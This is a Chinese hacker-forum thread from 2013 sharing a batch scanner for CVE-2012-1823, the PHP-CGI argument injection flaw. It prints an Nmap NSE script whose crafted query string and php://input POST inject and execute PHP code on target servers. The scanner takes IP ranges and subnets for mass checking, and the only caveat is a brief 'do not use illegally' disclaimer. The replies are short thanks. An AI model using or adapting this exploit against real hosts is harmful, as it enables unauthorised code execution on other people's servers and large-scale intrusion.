搜索
查看: 516|回复: 3

CVE-2012-1823批量检测工具.rar

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2013-11-15 22:08:21 | 显示全部楼层 |阅读模式
(请不要用于非法,否则后果自负)。

使用多线程,速度还不错。
支持IP格式
单IP: 10.1.1.
IP段:10.1.1.1-255
子网掩码:10.10.1.1/16

如果发现存在漏洞的IP,会在程序当前目录下生成一个report.txt。没有漏洞则不生成文件.
游客,如果您要查看本帖隐藏内容请回复



NSE脚本如下:
  1. local http=require "http"
  2. local shortport = require "shortport"
  3. local vulns = require "vulns"

  4. descripton=[[
  5. PHP CGI Argument Injection Exploit]]
  6. author="m0zh3"
  7. license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
  8. categories={"exploit","vuln"}

  9. -- The Rule Section --
  10. portrule = shortport.http
  11. -- The Action Section --


  12. local path ="/?-d+allow_url_include%3Don+-d+safe_mode%3Doff+-d+suhosin%2Esimulation%3Don+-d+disable_functions%3D%22%22+-d+open_basedir%3Dnone+-d+auto_prepend_file%3Dphp%3A%2F%2Finput+-d+cgi%2Eforce_redirect%3D0+-d+cgi%2Eredirect_status_env%3D0+-n"
  13. local payload = "<?php echo " .. ""m00zh33"" .. ";die();?>"
  14. local status

  15. local function exploit(host, port)
  16.         local ret = http.post(host,port,path,nil,nil,payload)
  17.         local body = string.lower(ret.body)
  18.         for s in string.gmatch(body,"m00zh33") do
  19.                 status = "yes"
  20.         end
  21. end

  22. action = function(host, port)
  23.         local vuln_table = {
  24.                 title = "CVE-2012-1823",
  25.                 reference = "http://www.exploit-db.com/exploits/18836/"}
  26.         local report = vulns.Report:new(SCRIPT_NAME, host, port)
  27.         vuln_table.state = vulns.STATE.NOT_VULN
  28.         exploit(host,port)
  29.         stdnse.print_debug(status)
  30.         if status == "yes" then
  31.                 vuln_table.state = vulns.STATE.VULN
  32.         end
  33.         return report:make_output(vuln_table)
  34. end
复制代码
过段时间可能会取消签到功能了
专业回帖 该用户已被删除
发表于 2013-11-15 22:09:10 | 显示全部楼层
我是个凑数的。。。
专业回帖 该用户已被删除
发表于 2013-11-15 22:22:31 | 显示全部楼层
好好 学习了 确实不错
白客丶小俊 该用户已被删除
发表于 2013-11-16 07:12:47 | 显示全部楼层
感谢楼主分享!
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表